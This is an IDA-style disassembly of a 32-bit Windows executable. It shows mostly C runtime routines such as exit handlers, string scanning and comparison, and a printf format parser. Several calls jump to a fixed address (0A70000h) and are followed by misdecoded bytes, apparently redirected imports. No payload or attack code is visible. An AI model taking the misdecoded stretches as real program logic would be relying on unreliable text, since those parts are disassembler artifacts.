		mov	eax, ds:dword_4625F4
		test	eax, eax
		jz	short loc_413A99
		mov	ecx, ds:dword_4625F0
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_413A98


loc_413A85:				; CODE XREF: sub_413A39+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_413A8D
		call	eax


loc_413A8D:				; CODE XREF: sub_413A39+50j
		sub	esi, 4
		cmp	esi, ds:dword_4625F4
		jnb	short loc_413A85


loc_413A98:				; CODE XREF: sub_413A39+4Aj
		pop	esi


loc_413A99:				; CODE XREF: sub_413A39+3Cj
		push	offset dword_41F034
		push	offset dword_41F02C
		call	sub_413AD2
		pop	ecx
		pop	ecx


loc_413AAA:				; CODE XREF: sub_413A39+33j
		push	offset dword_41F040
		push	offset dword_41F038
		call	sub_413AD2
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_413AD0
		push	[esp+4+arg_0]
		mov	ds:dword_460FD4, edi
		call	ds:dword_41D104	; ExitProcess


loc_413AD0:				; CODE XREF: sub_413A39+85j
		pop	edi
		retn
sub_413A39	endp


; =============== S U B	R O U T	I N E =======================================



sub_413AD2	proc near		; CODE XREF: sub_4139EA+15p
					; sub_4139EA+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_413AD7:				; CODE XREF: sub_413AD2+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_413AEA
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_413AE5
		call	eax


loc_413AE5:				; CODE XREF: sub_413AD2+Fj
		add	esi, 4
		jmp	short loc_413AD7
; ---------------------------------------------------------------------------


loc_413AEA:				; CODE XREF: sub_413AD2+9j
		pop	esi
		retn
sub_413AD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AEC	proc near		; CODE XREF: seg000:0040DE6Cp
					; seg000:0040DE9Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_413B00
		xor	eax, eax
		jmp	short loc_413B36
; ---------------------------------------------------------------------------


loc_413B00:				; CODE XREF: sub_413AEC+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_413B30
		mov	esi, [ebp+arg_8]


loc_413B09:				; CODE XREF: sub_413AEC+42j
		dec	dword ptr [esi+4]
		js	short loc_413B18
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_413B1F
; ---------------------------------------------------------------------------


loc_413B18:				; CODE XREF: sub_413AEC+20j
		push	esi
		call	sub_41793B
		pop	ecx


loc_413B1F:				; CODE XREF: sub_413AEC+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413B3A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_413B30
		dec	[ebp+arg_4]
		jnz	short loc_413B09


loc_413B30:				; CODE XREF: sub_413AEC+18j
					; sub_413AEC+3Dj ...
		and	byte ptr [edi],	0


loc_413B33:				; CODE XREF: sub_413AEC+55j
		mov	eax, ebx
		pop	esi


loc_413B36:				; CODE XREF: sub_413AEC+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_413B3A:				; CODE XREF: sub_413AEC+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_413B30
		xor	ebx, ebx
		jmp	short loc_413B33
sub_413AEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B43	proc near		; CODE XREF: seg000:0040C530p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 0A70000h
		dec	ebp
		test	eax, eax
		jnz	short loc_413B59
		call	ds:dword_41D060	; RtlGetLastWin32Error
		jmp	short loc_413B5B
; ---------------------------------------------------------------------------


loc_413B59:				; CODE XREF: sub_413B43+Cj
		xor	eax, eax


loc_413B5B:				; CODE XREF: sub_413B43+14j
		test	eax, eax
		jz	short loc_413B6A
		push	eax
		call	sub_418672
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_413B6A:				; CODE XREF: sub_413B43+1Aj
		xor	eax, eax
		retn
sub_413B43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B6D	proc near		; CODE XREF: seg000:0040C487p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4186D9
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41408C
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_418766
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_413B6D	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_413BB0


loc_413BA0:				; CODE XREF: sub_413BB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_413BB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413BB0	proc near		; CODE XREF: seg000:0040A59Fp
					; seg000:0040A646p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00413BA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_413BB6:				; CODE XREF: sub_411F30+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_413BDB


loc_413BC8:				; CODE XREF: sub_413BB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_413BA0
		test	cl, cl
		jz	short loc_413C24
		test	edx, 3
		jnz	short loc_413BC8


loc_413BDB:				; CODE XREF: sub_413BB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_413BE6:				; CODE XREF: sub_413BB0+61j
					; sub_413BB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_413C28
		and	eax, 81010100h
		jz	short loc_413BE6
		and	eax, 1010100h
		jnz	short loc_413C22
		and	esi, 80000000h
		jnz	short loc_413BE6


loc_413C22:				; CODE XREF: sub_413BB0+68j
					; sub_413BB0+81j ...
		pop	esi
		pop	edi


loc_413C24:				; CODE XREF: sub_413BB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_413C28:				; CODE XREF: sub_413BB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_413C65
		test	al, al
		jz	short loc_413C22
		cmp	ah, bl
		jz	short loc_413C5E
		test	ah, ah
		jz	short loc_413C22
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_413C57
		test	al, al
		jz	short loc_413C22
		cmp	ah, bl
		jz	short loc_413C50
		test	ah, ah
		jz	short loc_413C22
		jmp	short loc_413BE6
; ---------------------------------------------------------------------------


loc_413C50:				; CODE XREF: sub_413BB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_413C57:				; CODE XREF: sub_413BB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_413C5E:				; CODE XREF: sub_413BB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_413C65:				; CODE XREF: sub_413BB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_413BB0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_413CBC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_413CBD
		test	eax, 1
		jz	short loc_413C9D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_413CEA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_413CBA


loc_413C9D:				; CODE XREF: seg000:00413C90j
					; seg000:00413CB8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_413CEA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_413CEA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_413C9D


loc_413CBA:				; CODE XREF: seg000:00413C9Bj
					; seg000:00413CF4j
		pop	edi
		pop	esi

locret_413CBC:				; CODE XREF: seg000:00413C76j
		retn
; ---------------------------------------------------------------------------


loc_413CBD:				; CODE XREF: seg000:00413C89j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_413CF2
		repe cmpsd
		jz	short loc_413CF2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_413CE5
		cmp	ch, dh
		jnz	short loc_413CE5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_413CE5
		cmp	ch, dh


loc_413CE5:				; CODE XREF: seg000:00413CD3j
					; seg000:00413CD7j ...
		mov	eax, 0


loc_413CEA:				; CODE XREF: seg000:00413C96j
					; seg000:00413CA3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413CF2:				; CODE XREF: seg000:00413CC5j
					; seg000:00413CC9j
		test	eax, eax
		jz	short loc_413CBA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_413CE5
		dec	eax
		jz	short loc_413D19
		cmp	dh, ch
		jnz	short loc_413CE5
		dec	eax
		jz	short loc_413D19
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_413CE5
		dec	eax


loc_413D19:				; CODE XREF: seg000:00413CFFj
					; seg000:00413D06j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_413D1C	proc near		; CODE XREF: sub_410DD4+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_413D33


loc_413D29:				; CODE XREF: sub_413D1C+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_413D29


loc_413D33:				; CODE XREF: sub_413D1C+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_413D1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D39	proc near		; CODE XREF: sub_4103C3+19p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_413E06
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_413E33
		cmp	ds:dword_461018, esi
		jnz	short loc_413D8A
		cmp	edi, esi
		jbe	loc_413E33


loc_413D69:				; CODE XREF: sub_413D39+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_413E33
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_413D69
		jmp	loc_413E33
; ---------------------------------------------------------------------------


loc_413D8A:				; CODE XREF: sub_413D39+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, ds:dword_41D12C
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	ds:dword_461028
		call	esi ; dword_41D12C
		test	eax, eax
		jnz	loc_413E32
		call	ds:dword_41D060	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_413DC4


loc_413DB5:				; CODE XREF: sub_413D39+CBj
					; sub_413D39+F7j
		mov	ds:dword_460F8C, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_413E33
; ---------------------------------------------------------------------------


loc_413DC4:				; CODE XREF: sub_413D39+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_413DCC:				; CODE XREF: sub_413D39+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_413DEE
		mov	edx, ds:off_42F870
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_413DE3
		inc	eax


loc_413DE3:				; CODE XREF: sub_413D39+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_413DCC


loc_413DEE:				; CODE XREF: sub_413D39+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	ds:dword_461028
		call	esi ; dword_41D12C
		test	eax, eax
		jnz	short loc_413E33
		jmp	short loc_413DB5
; ---------------------------------------------------------------------------


loc_413E06:				; CODE XREF: sub_413D39+Fj
		cmp	ds:dword_461018, esi
		jnz	short loc_413E19
		push	[ebp+arg_4]
		call	sub_411FB0
		pop	ecx
		jmp	short loc_413E33
; ---------------------------------------------------------------------------


loc_413E19:				; CODE XREF: sub_413D39+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	ds:dword_461028
		call	ds:dword_41D12C	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_413DB5


loc_413E32:				; CODE XREF: sub_413D39+6Bj
		dec	eax


loc_413E33:				; CODE XREF: sub_413D39+1Aj
					; sub_413D39+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_413D39	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D670
		push	offset sub_418F6C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	ds:dword_41D160	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	ds:dword_460FA4, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	ds:dword_460FA0, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	ds:dword_460F9C, ecx
		shr	eax, 10h
		mov	ds:dword_460F98, eax
		xor	esi, esi
		push	esi
		call	sub_414926
		pop	ecx
		test	eax, eax
		jnz	short loc_413EA4
		push	1Ch
		call	sub_413F53
		pop	ecx


loc_413EA4:				; CODE XREF: seg000:00413E9Aj
		mov	[ebp-4], esi
		call	loc_418DB7
		call	near ptr 0A70000h
		movsd
		mov	ds:dword_4625E4, eax
		call	sub_418C85
		mov	ds:dword_460FD8, eax
		call	sub_418A38
		call	sub_41897F
		call	sub_4139EA
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	near ptr 0A70000h
		mov	edi, 4A45E8h
		add	[ecx+45F69C45h], cl
		rol	byte ptr [ecx],	1
		jz	short loc_413EF1
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_413EF4
; ---------------------------------------------------------------------------


loc_413EF1:				; CODE XREF: seg000:00413EE9j
		push	0Ah
		pop	eax


loc_413EF4:				; CODE XREF: seg000:00413EEFj
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	near ptr 0A70000h
		ficom	word ptr [eax-18h]
		mov	bh, 5Ah
; ---------------------------------------------------------------------------
		dd 4589FFFFh, 8E850A0h,	8BFFFFFBh, 88BEC45h, 4D89098Bh
		dd 0E8515098h, 4883h, 8BC35959h, 75FFE865h, 0FAFAE898h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_413F2E	proc near		; CODE XREF: sub_412AE2+16p
					; sub_41897F+4Ep ...

arg_0		= dword	ptr  4

		cmp	ds:dword_460FE0, 1
		jnz	short loc_413F3C
		call	sub_419044


loc_413F3C:				; CODE XREF: sub_413F2E+7j
		push	[esp+arg_0]
		call	sub_41907D
		push	0FFh
		call	ds:off_42F860
		pop	ecx
		pop	ecx
		retn
sub_413F2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F53	proc near		; CODE XREF: seg000:00413E9Ep

arg_0		= dword	ptr  4

		cmp	ds:dword_460FE0, 1
		jnz	short loc_413F61
		call	sub_419044


loc_413F61:				; CODE XREF: sub_413F53+7j
		push	[esp+arg_0]
		call	sub_41907D
		pop	ecx
		push	0FFh
		call	ds:dword_41D104	; ExitProcess
		retn
sub_413F53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F77	proc near		; CODE XREF: sub_411963+46p
					; sub_411EDA+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_414080
		test	al, 40h
		jnz	loc_414080
		test	al, 1
		jz	short loc_413FAF
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_414080
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_413FAF:				; CODE XREF: sub_413F77+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_413FE9
		cmp	esi, offset dword_42FF88
		jz	short loc_413FD7
		cmp	esi, offset dword_42FFA8
		jnz	short loc_413FE2


loc_413FD7:				; CODE XREF: sub_413F77+56j
		push	ebx
		call	sub_4193C1
		test	eax, eax
		pop	ecx
		jnz	short loc_413FE9


loc_413FE2:				; CODE XREF: sub_413F77+5Ej
		push	esi
		call	sub_41937D
		pop	ecx


loc_413FE9:				; CODE XREF: sub_413F77+4Ej
					; sub_413F77+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_414056
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_414019
		push	edi
		push	eax
		push	ebx
		call	sub_4191D0
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41404C
; ---------------------------------------------------------------------------


loc_414019:				; CODE XREF: sub_413F77+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_414034
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_4622A0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_414039
; ---------------------------------------------------------------------------


loc_414034:				; CODE XREF: sub_413F77+A5j
		mov	eax, offset dword_42FED0


loc_414039:				; CODE XREF: sub_413F77+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41404C
		push	2
		push	0
		push	ebx
		call	sub_417DF2
		add	esp, 0Ch


loc_41404C:				; CODE XREF: sub_413F77+A0j
					; sub_413F77+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41406A
; ---------------------------------------------------------------------------


loc_414056:				; CODE XREF: sub_413F77+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4191D0
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41406A:				; CODE XREF: sub_413F77+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_414076
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_414085
; ---------------------------------------------------------------------------


loc_414076:				; CODE XREF: sub_413F77+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_414088
; ---------------------------------------------------------------------------


loc_414080:				; CODE XREF: sub_413F77+10j
					; sub_413F77+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_414085:				; CODE XREF: sub_413F77+FDj
		or	eax, 0FFFFFFFFh


loc_414088:				; CODE XREF: sub_413F77+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_413F77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41408C	proc near		; CODE XREF: sub_411963+29p
					; sub_411EDA+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_4147A5
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_4140C0
; ---------------------------------------------------------------------------


loc_4140B8:				; CODE XREF: sub_41408C+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_4140C0:				; CODE XREF: sub_41408C+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_4147A5
		cmp	bl, 20h
		jl	short loc_4140E1
		cmp	bl, 78h
		jg	short loc_4140E1
		movsx	eax, bl
		mov	al, [eax+41D65Ch]
		and	eax, 0Fh
		jmp	short loc_4140E3
; ---------------------------------------------------------------------------


loc_4140E1:				; CODE XREF: sub_41408C+40j
					; sub_41408C+45j
		xor	eax, eax


loc_4140E3:				; CODE XREF: sub_41408C+53j
		movsx	eax, ds:byte_41D67C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_414794	; default
		jmp	ds:off_4147AD[eax*4] ; switch jump


loc_414101:				; DATA XREF: seg000:off_4147ADo
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 004140FA case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_41411C:				; CODE XREF: sub_41408C+6Ej
					; DATA XREF: seg000:off_4147ADo
		movsx	eax, bl		; jumptable 004140FA case 2
		sub	eax, 20h
		jz	short loc_41415F
		sub	eax, 3
		jz	short loc_414156
		sub	eax, 8
		jz	short loc_41414D
		dec	eax
		dec	eax
		jz	short loc_414144
		sub	eax, 3
		jnz	loc_414794	; default
		or	[ebp+var_4], 8
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_414144:				; CODE XREF: sub_41408C+A4j
		or	[ebp+var_4], 4
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_41414D:				; CODE XREF: sub_41408C+A0j
		or	[ebp+var_4], 1
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_414156:				; CODE XREF: sub_41408C+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_41415F:				; CODE XREF: sub_41408C+96j
		or	[ebp+var_4], 2
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_414168:				; CODE XREF: sub_41408C+6Ej
					; DATA XREF: seg000:off_4147ADo
		cmp	bl, 2Ah		; jumptable 004140FA case 3
		jnz	short loc_414190
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41486B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_414794	; default
		or	[ebp+var_4], 4
		neg	eax


loc_414188:				; CODE XREF: sub_41408C+111j
		mov	[ebp+var_20], eax
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_414190:				; CODE XREF: sub_41408C+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_414188
; ---------------------------------------------------------------------------


loc_41419F:				; CODE XREF: sub_41408C+6Ej
					; DATA XREF: seg000:off_4147ADo
		mov	[ebp+var_10], edx ; jumptable 004140FA case 4
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_4141A7:				; CODE XREF: sub_41408C+6Ej
					; DATA XREF: seg000:off_4147ADo
		cmp	bl, 2Ah		; jumptable 004140FA case 5
		jnz	short loc_4141CA
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41486B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_414794	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_4141CA:				; CODE XREF: sub_41408C+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_4141DC:				; CODE XREF: sub_41408C+6Ej
					; DATA XREF: seg000:off_4147ADo
		cmp	bl, 49h		; jumptable 004140FA case 6
		jz	short loc_41420F
		cmp	bl, 68h
		jz	short loc_414206
		cmp	bl, 6Ch
		jz	short loc_4141FD
		cmp	bl, 77h
		jnz	loc_414794	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_4141FD:				; CODE XREF: sub_41408C+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_414206:				; CODE XREF: sub_41408C+158j
		or	[ebp+var_4], 20h
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_41420F:				; CODE XREF: sub_41408C+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_414228
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_414228
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_414228:				; CODE XREF: sub_41408C+186j
					; sub_41408C+18Cj
		mov	[ebp+var_30], edx


loc_41422B:				; CODE XREF: sub_41408C+6Ej
					; DATA XREF: seg000:off_4147ADo
		mov	ecx, ds:off_42F870 ; jumptable 004140FA	case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_414257
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4147CD
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_414257:				; CODE XREF: sub_41408C+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_4147CD
		add	esp, 0Ch
		jmp	loc_414794	; default
; ---------------------------------------------------------------------------


loc_41426F:				; CODE XREF: sub_41408C+6Ej
					; DATA XREF: seg000:off_4147ADo
		movsx	eax, bl		; jumptable 004140FA case 7
		cmp	eax, 67h
		jg	loc_414497
		cmp	eax, 65h
		jge	loc_41431A
		cmp	eax, 58h
		jg	loc_414378
		jz	loc_41450B
		sub	eax, 43h
		jz	loc_41433B
		dec	eax
		dec	eax
		jz	short loc_414310
		dec	eax
		dec	eax
		jz	short loc_414310
		sub	eax, 0Ch
		jnz	loc_414696
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4142B9
		or	byte ptr [ebp+var_4+1],	8


loc_4142B9:				; CODE XREF: sub_41408C+227j
					; sub_41408C+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4142C6
		mov	esi, 7FFFFFFFh


loc_4142C6:				; CODE XREF: sub_41408C+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41486B
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_4144DF
		test	ecx, ecx
		jnz	short loc_4142EE
		mov	ecx, ds:off_42F86C
		mov	[ebp+var_8], ecx


loc_4142EE:				; CODE XREF: sub_41408C+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4142F7:				; CODE XREF: sub_41408C+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_4144D6
		cmp	word ptr [eax],	0
		jz	loc_4144D6
		inc	eax
